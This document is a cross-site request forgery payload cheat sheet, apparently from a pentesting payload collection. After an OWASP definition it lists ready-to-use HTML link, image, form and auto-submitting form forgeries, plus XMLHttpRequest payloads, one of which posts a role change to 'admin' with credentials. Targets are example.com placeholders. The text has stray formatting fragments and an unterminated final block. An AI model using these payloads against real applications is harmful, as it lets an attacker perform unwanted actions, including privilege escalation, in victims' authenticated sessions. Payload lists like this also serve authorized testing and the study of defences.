# Cross-Site Request Forgery
|
||
|
||
> Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. - OWASP

||
## Payloads
|
||
|
||
### HTML GET – Requiring User Interaction for Proof-of-Concept
|
||
|
||
```html
|
||
<a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a>
|
||
```
|
||
|
||
### HTML GET (No User Interaction)
|
||
|
||
```html
|
||
<img src="http://www.example.com/api/setusername?username=CSRFd">
|
||
```
|
||
|
||
### HTML POST – Requiring User Interaction for Proof-of-Concept
|
||
|
||
```html
|
||
<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
|
||
<input name="username" type="hidden" value="CSRFd" />
|
||
<input type="submit" value="Submit Request" />
|
||
</form>
|
||
```
|
||
|
||
### HTML POST (AutoSubmit – No User Interaction)
|
||
|
||
```html
|
||
<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST"&>
|
||
<input name="username" type="hidden" value="CSRFd" />
|
||
<input type="submit" value="Submit Request" />
|
||
</form>
|
||
|
||
<script>
|
||
document.getElementById("autosubmit").submit();
|
||
</script>
|
||
```
|
||
|
||
|
||
### JSON GET – Simple Request
|
||
|
||
```html
|
||
<script>
|
||
var xhr = new XMLHttpRequest();
|
||
xhr.open("GET", "http://www.example.com/api/currentuser");
|
||
xhr.send();
|
||
</script>
|
||
```
|
||
|
||
### JSON POST – Simple Request
|
||
|
||
```html
|
||
<script>
|
||
var xhr = new XMLHttpRequest();
|
||
xhr.open("POST", "http://www.example.com/api/setrole");
|
||
//application/json is not allowed in a simple request. text/plain is the default
|
||
xhr.setRequestHeader("Content-Type", "text/plain");
|
||
//You will probably want to also try one or both of these
|
||
//xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
|
||
//xhr.setRequestHeader("Content-Type", "multipart/form-data");
|
||
xhr.send('{"role":admin}');
|
||
</script>
|
||
```
|
||
|
||
### JSON POST – Complex Request
|
||
|
||

|
||
<script>
|
||
var xhr = new XMLHttpRequest();
|
||
xhr.open("POST", "http://www.example.com/api/setrole");
|
||
xhr.withCredentials = true;
|
||
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
|
||
xhr.send('{"role":admin}');
